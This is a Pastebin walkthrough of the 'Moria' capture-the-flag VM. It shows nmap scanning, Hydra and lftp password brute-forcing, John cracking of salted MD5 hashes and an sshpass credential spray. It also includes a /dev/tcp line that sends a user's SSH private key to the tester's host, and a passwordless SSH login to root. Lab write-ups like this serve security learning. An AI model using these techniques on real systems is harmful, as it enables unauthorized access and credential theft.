Guest User

Moria CTF Walkthrough - DigiP

a guest
Apr 21st, 2017
738
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.56 KB | None | 0 0
  1. Moria CTF Walkthrough - DigiP
  2.  
  3. netdiscover
  4. 192.168.1.251 08:00:27:9a:4f:a4 6 360 PCS Systemtechnik GmbH
  5.  
  6.  
  7. nmap -sC -sV -T5 -v -p- --open --script vuln 192.168.1.251
  8. PORT STATE SERVICE VERSION
  9. 21/tcp open ftp vsftpd 2.0.8 or later
  10. |_sslv2-drown:
  11. 22/tcp open ssh OpenSSH 6.6.1 (protocol 2.0)
  12. 80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
  13. |_http-csrf: Couldn't find any CSRF vulnerabilities.
  14. |_http-dombased-xss: Couldn't find any DOM based XSS.
  15. | http-enum:
  16. | /w/: Potentially interesting folder w/ directory listing
  17. |_ /icons/: Potentially interesting folder w/ directory listing
  18. |_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
  19. |_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
  20. |_http-trace: TRACE is enabled
  21. MAC Address: 08:00:27:9A:4F:A4 (Oracle VirtualBox virtual NIC)
  22.  
  23. view-source:http://192.168.1.251/w/h/i/s/p/e/r/the_abyss/
  24.  
  25. Telchar to Thrain:"That human is slow, don't give up yet"
  26.  
  27. Refreshing the page, messages change:
  28. "Eru! Save us!"
  29. "Is this the end?"
  30. Fundin:"That human will never save us!"
  31. "Knock knock"
  32. Dain:"Is that human deaf? Why is it not listening?"
  33. Ori:"Will anyone hear us?"
  34. Balin: "Be quiet, the Balrog will hear you!"
  35. Nain:"Will the human get the message?"
  36. Maeglin:"The Balrog is not around, hurry!"
  37. "We will die here.."
  38. Oin:"Stop knocking!"
  39.  
  40.  
  41. gobuster -u http://192.168.1.251/w/h/i/s/p/e/r/the_abyss -f -e -x txt,html,php,jpg,gif,png,zip,sql,lock,conf,git,md -w /usr/share/wordlists/dirb/common.txt
  42.  
  43. view-source:http://192.168.1.251/w/h/i/s/p/e/r/the_abyss/random.txt
  44. Balin: "Be quiet, the Balrog will hear you!"
  45. Oin:"Stop knocking!"
  46. Ori:"Will anyone hear us?"
  47. Fundin:"That human will never save us!"
  48. Nain:"Will the human get the message?"
  49. "Eru! Save us!"
  50. "We will die here.."
  51. "Is this the end?"
  52. "Knock knock"
  53. "Too loud!"
  54. Maeglin:"The Balrog is not around, hurry!"
  55. Telchar to Thrain:"That human is slow, don't give up yet"
  56. Dain:"Is that human deaf? Why is it not listening?"
  57.  
  58. So index.php is reading in and echoing out the text of this file. Will see later if that comes in handy in any way for abuse.
  59.  
  60. manually connecting to the ftp server, the message we are greated with is:
  61.  
  62. 220 Welcome Balrog!
  63. Name (Balrog:root): Balrog
  64. 331 Please specify the password.
  65. Password:
  66.  
  67. We'll try the name Balrog, and then the others we found in random.txt as we go. Our password wordlist, will consist of the words from the home page image, as well as our random.txt names and keywords in upper, lower, first upper, etc.
  68.  
  69. hydra -L /root/HDD2/ctf/moria/random -P /root/HDD2/ctf/moria/random ftp://192.168.1.251
  70.  
  71. In doing so, ftp closes, and ftps opens on port 900!
  72.  
  73. We try:
  74. hydra -L /root/HDD2/ctf/moria/random -P /root/HDD2/ctf/moria/random ftps://192.168.1.251 -s 900
  75. hydra -L /root/HDD2/ctf/moria/random -P /root/HDD2/ctf/moria/random ftp://192.168.1.251 -s 900 -S
  76.  
  77. and...that closed, and now ftp open again. Need to try this bit differently. Hydra does not seem to be waiting long enough for the responses and may
  78. be crushing it.
  79.  
  80. Lets try something differet. lftp, is a scriptable ftp client. We can work through this in similar fashion to hydra, but in a more controlled way
  81. through a bash script.
  82.  
  83. syntax: lftp -u $user,$pass sftp://target
  84.  
  85. So, lets try
  86.  
  87. Added to our hosts file:
  88. 192.168.1.251 Balrog
  89.  
  90.  
  91. moria.sh
  92. ---------------------------
  93. #!/bin/sh
  94. while IFS='' read -r line || [[ -n "$line" ]]; do
  95. #lets use one user at a time to not trigger port knock maybe, see where this happens.
  96. echo $line #echo the password we try each time and monitor console to see what happens on each attempt
  97. lftp -d -u Balrog,"$line" ftp://balrog:21/ << --EOF--
  98. pwd
  99. quit
  100. --EOF--
  101. done < "/root/HDD2/ctf/moria/random"
  102. ---------------------------
  103.  
  104. we have to edit /etc/lftp.conf and add the following at the end of the file:
  105.  
  106. #set timeout
  107. set net:timeout 2
  108. set net:max-retries 2
  109. set net:reconnect-interval-base 5
  110.  
  111. We'll run this like so:
  112. bash moria.sh > moria.log
  113.  
  114. This will try connecting with the name we give in -u first argument, with the password form each line of the random wordlist file
  115. If Balrog doens't work, then we edit the script and try the next name from random.txt and so on. This seems to not trigger the port close and open on 900
  116.  
  117. Now, the reason I redirected output to moria.log, is because much of this is going to scroll by and off screen. Looking through it in terminal scroll-back is a PITA, and we could potentially miss our login deets if not paying attention. moria.log will show the password we passed and their output for pwd, if it is
  118. successful. The password would be the word on the line directly above the pwd command output.
  119.  
  120. If you see this not working and it trips over to port 900 and closes ftp, shorten your wordlist, wait for ftp to open again, rinse, repeat. This will not be a quick process with a long wordlist, so keep it simple(stupid). There are probably better ways of doing this, but hydra does not seem to be working for me at the moment and keeps triggering port 900 open and 21 closed, even when I specify individual logins. Also, SSH with hydra, closes the port almost
  121. immediatly, so we'll have to be careful how we try our logins.
  122.  
  123. Output on the terminal will look similar to:
  124. 220 Welcome Balrog!
  125. ---> FEAT
  126. <--- 211-Features:
  127. <--- EPRT
  128. <--- EPSV
  129. <--- MDTM
  130. <--- PASV
  131. <--- REST STREAM
  132. <--- SIZE
  133. <--- TVFS
  134. <--- UTF8
  135. <--- 211 End
  136. ---> AUTH TLS
  137. <--- 530 Please login with USER and PASS.
  138. ---> OPTS UTF8 ON
  139. <--- 200 Always in UTF8 mode.
  140. ---> USER Balrog
  141.  
  142. where our log that helps us find the password is:
  143.  
  144. Balin
  145. Oin
  146. Ori
  147. mellon
  148. Mellon
  149. ftp://Balrog:[email protected]:21/%2Fprison
  150. Balrog
  151.  
  152. We see our password worked for "Mellon"
  153.  
  154. :)
  155.  
  156. so deets are "Balrog" and "Mellon"
  157.  
  158. However. /prison, does not look promising..
  159.  
  160. Trying this for SSH, we realize this isn't going to work here either:
  161. [email protected]'s password:
  162. Last failed login: Fri Apr 21 07:54:13 EDT 2017 from 192.168.1.66 on ssh:notty
  163. There were 2 failed login attempts since the last successful login.
  164. Last login: Sun Mar 12 22:39:59 2017
  165.  
  166. WRONG GATE!
  167.  
  168. Connection to 192.168.1.251 closed.
  169. root@kali:/mnt/HDD2/ctf/moria#
  170.  
  171. [email protected]'s password:
  172. Received message too long 173494863
  173.  
  174.  
  175. so back to moria over ftp.
  176.  
  177. ftp Balrog
  178. user: Balrog
  179. pass: Mellon
  180.  
  181. pwd
  182. /prison
  183.  
  184. we can't list or put any files up, denied.
  185. keeps asking for pasv mode. We enter:
  186. quote pasv
  187. and now we can list files.
  188.  
  189. cd /var/www/html
  190. ls
  191. ftp> ls
  192. 200 PORT command successful. Consider using PASV.
  193. 150 Here comes the directory listing.
  194. drwxr-xr-x 2 0 0 23 Mar 12 20:38 QlVraKW4fbIkXau9zkAPNGzviT3UKntl
  195. -r-------- 1 48 48 85 Mar 12 19:55 index.php
  196. -r-------- 1 48 48 161595 Mar 11 23:12 moria.jpg
  197. drwxr-xr-x 3 0 0 15 Mar 12 04:50 w
  198. 226 Directory send OK.
  199.  
  200. We navigat to http://192.168.1.251/QlVraKW4fbIkXau9zkAPNGzviT3UKntl/ and gets us:
  201. Prisoner's name Passkey
  202. Balin c2d8960157fc8540f6d5d66594e165e0
  203. Oin 727a279d913fba677c490102b135e51e
  204. Ori 8c3c3152a5c64ffb683d78efc3520114
  205. Maeglin 6ba94d6322f53f30aca4f34960203703
  206. Fundin c789ec9fae1cd07adfc02930a39486a1
  207. Nain fec21f5c7dcf8e5e54537cfda92df5fe
  208. Dain 6a113db1fd25c5501ec3a5936d817c29
  209. Thrain 7db5040c351237e8332bfbba757a1019
  210. Telchar dd272382909a4f51163c77da6356cc6f
  211.  
  212. Also viewing source we find:
  213. <!--
  214.  
  215. 6MAp84
  216. bQkChe
  217. HnqeN4
  218. e5ad5s
  219. g9Wxv7
  220. HCCsxP
  221. cC5nTr
  222. h8spZR
  223. tb9AWe
  224.  
  225. MD5(MD5(Password).Salt)
  226.  
  227. -->
  228. We can try and build a hash file for john like so:
  229.  
  230. Balin:c2d8960157fc8540f6d5d66594e165e0$6MAp84
  231. Oin:727a279d913fba677c490102b135e51e$bQkChe
  232. Ori:8c3c3152a5c64ffb683d78efc3520114$HnqeN4
  233. Maeglin:6ba94d6322f53f30aca4f34960203703$e5ad5s
  234. Fundin:c789ec9fae1cd07adfc02930a39486a1$g9Wxv7
  235. Nain:fec21f5c7dcf8e5e54537cfda92df5fe$HCCsxP
  236. Dain:6a113db1fd25c5501ec3a5936d817c29$cC5nTr
  237. Thrain:7db5040c351237e8332bfbba757a1019$h8spZR
  238. Telchar:dd272382909a4f51163c77da6356cc6f$tb9AWe
  239.  
  240. john --list=subformats
  241.  
  242. We want: MD5(MD5(Password).Salt)
  243. UserFormat = dynamic_2006 type = dynamic_2006: md5(md5($p).$s) (PW > 55 bytes)
  244.  
  245. john hashes --format=dynamic_2006 --fork=25 -w=/usr/share/wordlists/rockyou.txt
  246.  
  247. darkness (Thrain)
  248. magic (Telchar)
  249. abcdef (Dain)
  250. hunter2 (Fundin)
  251. spanky (Ori)
  252. warrior (Nain)
  253. rainbow (Oin)
  254. flower (Balin)
  255. fuckoff (Maeglin)
  256.  
  257. Nice and quick!!
  258.  
  259. We already know Balrog is Mellon and not going to work on SSH.
  260.  
  261. We've now got some more items we can add to a password/wordlist
  262.  
  263. ftp logins with the above don't seem to work. we can try triggering port 900 again, and seeing if any of these will work.
  264.  
  265. We try:
  266. hydra -l Balin -P random ftps://balrog -s900
  267. hydra -l Balin -P random ftp://balrog -s900 -S
  268.  
  269. Neither work
  270. :(
  271.  
  272. hydra -L names -P random ftps://balrog -s900
  273. hydra -L names -P random ftp://balrog -s900 -S
  274.  
  275. we can adjust our lftp script again.
  276.  
  277. ---------------------------
  278. #!/bin/sh
  279. while IFS='' read -r line || [[ -n "$line" ]]; do
  280. #lets use one user at a time to not trigger port knock maybe, see where this happens.
  281. echo $line #echo the password we try each time and monitor console to see what happens on each attempt
  282. lftp -d -u Balin,"$line" ftps://192.168.1.251:900/ << --EOF--
  283. pwd
  284. quit
  285. --EOF--
  286. #end of file delimeter
  287. done < "/root/HDD2/ctf/moria/random"
  288. ---------------------------
  289.  
  290.  
  291. so none of these seem to work for ftp or ftps
  292.  
  293. Lets try ssh:
  294.  
  295. hydra -L names -P random ssh://balrog
  296.  
  297. thesearen't going well with hydra. Ports keep closing, including SSH. lftp doesn't suport ssh either. So, we try each user, one at a time.
  298.  
  299. --------------------------
  300. #!/bin/sh
  301. ## balrog ssh attempts
  302. sshpass -f <(printf '%s\n' darkness) ssh Thrain@balrog
  303. sshpass -f <(printf '%s\n' magic) ssh Telchar@balrog
  304. sshpass -f <(printf '%s\n' abcdef) ssh Dain@balrog
  305. sshpass -f <(printf '%s\n' hunter2) ssh Fundin@balrog
  306. sshpass -f <(printf '%s\n' spanky) ssh Ori@balrog
  307. sshpass -f <(printf '%s\n' warrior) ssh Nain@balrog
  308. sshpass -f <(printf '%s\n' rainbow) ssh Oin@balrog
  309. sshpass -f <(printf '%s\n' flower) ssh Balin@balrog
  310. sshpass -f <(printf '%s\n' fuckoff) ssh Maeglin@balrog
  311. --------------------------
  312.  
  313. And with that, we get:
  314.  
  315. bash moria.sh
  316. Permission denied, please try again.
  317. Permission denied, please try again.
  318. Permission denied, please try again.
  319. Permission denied, please try again.
  320. Last login: Sun Mar 12 22:57:09 2017
  321. -bash-4.2$ id
  322. uid=1002(Ori) gid=1003(notBalrog) groups=1003(notBalrog)
  323. -bash-4.2$
  324.  
  325. boom! login with ori!
  326.  
  327. Ori pts/0 2017-04-21 09:28 (192.168.1.66)
  328. -bash-4.2$ uname -a;cat /etc/*ele*; cat /etc/issue
  329. Linux Moria 3.10.0-514.el7.x86_64 #1 SMP Tue Nov 22 16:42:41 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
  330. CentOS Linux release 7.3.1611 (Core)
  331. Derived from Red Hat Enterprise Linux 7.3 (Source)
  332. NAME="CentOS Linux"
  333. VERSION="7 (Core)"
  334. ID="centos"
  335. ID_LIKE="rhel fedora"
  336. VERSION_ID="7"
  337. PRETTY_NAME="CentOS Linux 7 (Core)"
  338. ANSI_COLOR="0;31"
  339. CPE_NAME="cpe:/o:centos:centos:7"
  340. HOME_URL="https://www.centos.org/"
  341. BUG_REPORT_URL="https://bugs.centos.org/"
  342.  
  343. CENTOS_MANTISBT_PROJECT="CentOS-7"
  344. CENTOS_MANTISBT_PROJECT_VERSION="7"
  345. REDHAT_SUPPORT_PRODUCT="centos"
  346. REDHAT_SUPPORT_PRODUCT_VERSION="7"
  347.  
  348. CentOS Linux release 7.3.1611 (Core)
  349. CentOS Linux release 7.3.1611 (Core)
  350. cpe:/o:centos:centos:7
  351. ▄▀▀▄ ▄▀▄ ▄▀▀▀▀▄ ▄▀▀▄▀▀▀▄ ▄▀▀█▀▄ ▄▀▀█▄
  352. █ █ ▀ █ █ █ █ █ █ █ █ █ ▐ ▄▀ ▀▄
  353. ▐ █ █ █ █ ▐ █▀▀█▀ ▐ █ ▐ █▄▄▄█
  354. █ █ ▀▄ ▄▀ ▄▀ █ █ ▄▀ █
  355. ▄▀ ▄▀ ▀▀▀▀ █ █ ▄▀▀▀▀▀▄ █ ▄▀
  356. █ █ ▐ ▐ █ █ ▐ ▐
  357. ▐ ▐ ▐ ▐
  358.  
  359. -bash-4.2$
  360.  
  361. -bash-4.2$ cat /etc/passwd
  362. root:x:0:0:root:/root:/bin/bash
  363. bin:x:1:1:bin:/bin:/sbin/nologin
  364. daemon:x:2:2:daemon:/sbin:/sbin/nologin
  365. adm:x:3:4:adm:/var/adm:/sbin/nologin
  366. lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
  367. sync:x:5:0:sync:/sbin:/bin/sync
  368. shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
  369. halt:x:7:0:halt:/sbin:/sbin/halt
  370. mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
  371. operator:x:11:0:operator:/root:/sbin/nologin
  372. games:x:12:100:games:/usr/games:/sbin/nologin
  373. ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
  374. nobody:x:99:99:Nobody:/:/sbin/nologin
  375. systemd-bus-proxy:x:999:998:systemd Bus Proxy:/:/sbin/nologin
  376. systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
  377. dbus:x:81:81:System message bus:/:/sbin/nologin
  378. polkitd:x:998:997:User for polkitd:/:/sbin/nologin
  379. tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin
  380. sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
  381. postfix:x:89:89::/var/spool/postfix:/sbin/nologin
  382. chrony:x:997:995::/var/lib/chrony:/sbin/nologin
  383. geoclue:x:996:994:User for geoclue:/var/lib/geoclue:/sbin/nologin
  384. usbmuxd:x:113:113:usbmuxd user:/:/sbin/nologin
  385. rtkit:x:172:172:RealtimeKit:/proc:/sbin/nologin
  386. colord:x:995:993:User for colord:/var/lib/colord:/sbin/nologin
  387. pulse:x:171:171:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin
  388. gdm:x:42:42::/var/lib/gdm:/sbin/nologin
  389. apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
  390. abatchy:x:1000:1003::/home/abatchy:/bin/bash
  391. Balrog:x:1001:1001::/prison:/sbin/nologin
  392. Ori:x:1002:1003::/home/Ori:/bin/bash
  393.  
  394.  
  395. cd /home
  396. ls
  397. batchy Ori
  398. -bash-4.2$ cd abatchy/
  399. -bash: cd: abatchy/: Permission denied
  400. -bash-4.2$ cd Ori/
  401. -bash-4.2$ ls -la
  402. total 8
  403. drwx------ 3 Ori notBalrog 55 Mar 12 22:57 .
  404. drwxr-x---. 4 root notBalrog 32 Mar 14 00:36 ..
  405. -rw------- 1 Ori notBalrog 1 Mar 14 00:12 .bash_history
  406. -rw-r--r-- 1 root root 225 Mar 13 23:53 poem.txt
  407. drwx------ 2 Ori notBalrog 57 Mar 12 22:57 .ssh
  408. -bash-4.2$ cat .bash_history
  409.  
  410. -bash-4.2$ cat poem.txt
  411. Ho! Ho! Ho! to the bottle I go
  412. To heal my heart and drown my woe.
  413. Rain may fall and wind may blow,
  414. And many miles be still to go,
  415. But under a tall tree I will lie,
  416. And let the clouds go sailing by.
  417.  
  418. PS: Moria will not fall!
  419. -bash-4.2$
  420.  
  421. we tarball .ssh files and send them back to us for the keys.
  422.  
  423. id_rsa file seems corrupt, lets send by itself
  424. cat id_rsa >& /dev/tcp/192.168.1.66/443 0>&1
  425.  
  426. Later we find these don't work because known_hosts, indicates that the user is logging into SSH is over 127.0.0.1 from the logged in account. This requirs us to ssh while logged in as Ori To root? Oh yeah!
  427.  
  428. -bash-4.2$ cat known_hosts
  429. 127.0.0.1 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCuLX/CWxsOhekXJRxQqQH/Yx0SD+XgUpmlmWN1Y8cvmCYJslOh4vE+I6fmMwCdBfi4W061RmFc+vMALlQUYNz0=
  430. -bash-4.2$ #hmm. 127.0.0.1 you don't say...
  431. -bash-4.2$ ssh [email protected]
  432. Last login: Fri Apr 21 10:32:40 2017 from 127.0.0.1
  433. [root@Moria ~]# #winner winner chicken dinner, no password asked..
  434. [root@Moria ~]# ls -lash
  435. total 52K
  436. 0 dr-xr-x---. 8 root root 276 Mar 12 23:02 .
  437. 0 dr-xr-xr-x. 18 root root 258 Mar 14 00:36 ..
  438. 4.0K -rw-r--r-- 1 root root 21 Mar 12 21:44 0
  439. 4.0K -rw-------. 1 root root 1.3K Mar 9 22:41 anaconda-ks.cfg
  440. 4.0K -rw-------. 1 root root 325 Apr 21 10:33 .bash_history
  441. 4.0K -rw-r--r-- 1 root root 18 Dec 28 2013 .bash_logout
  442. 4.0K -rw-r--r-- 1 root root 176 Dec 28 2013 .bash_profile
  443. 4.0K -rw-r--r-- 1 root root 176 Dec 28 2013 .bashrc
  444. 0 drwx------. 7 root root 86 Mar 9 23:47 .cache
  445. 0 drwxr-xr-x. 10 root root 128 Mar 9 23:10 .config
  446. 4.0K -rw-r--r-- 1 root root 100 Dec 28 2013 .cshrc
  447. 0 drwxr-xr-x. 2 root root 6 Mar 9 23:10 Desktop
  448. 4.0K -rw-r--r-- 1 root root 439 Mar 13 23:57 flag.txt
  449. 4.0K -rw-r--r-- 1 root root 20 Mar 11 21:00 hosts
  450. 12K -rw-------. 1 root root 8.5K Mar 12 22:30 .ICEauthority
  451. 0 drwx------. 3 root root 19 Mar 9 23:10 .local
  452. 0 drwxr-----. 3 root root 19 Mar 11 11:35 .pki
  453. 0 drwx------ 2 root root 48 Mar 12 23:00 .ssh
  454. 4.0K -rw-r--r-- 1 root root 129 Dec 28 2013 .tcshrc
  455. [root@Moria ~]# cat flag.txt
  456. “All that is gold does not glitter,
  457. Not all those who wander are lost;
  458. The old that is strong does not wither,
  459. Deep roots are not reached by the frost.
  460.  
  461. From the ashes a fire shall be woken,
  462. A light from the shadows shall spring;
  463. Renewed shall be blade that was broken,
  464. The crownless again shall be king.”
  465.  
  466. All That is Gold Does Not Glitter by J. R. R. Tolkien
  467.  
  468. I hope you suff.. enjoyed this VM. It wasn't so hard, was it?
  469. -Abatchy
  470.  
  471. [root@Moria ~]#
  472.  
  473.  
  474. :)
Advertisement
Add Comment
Please, Sign In to add comment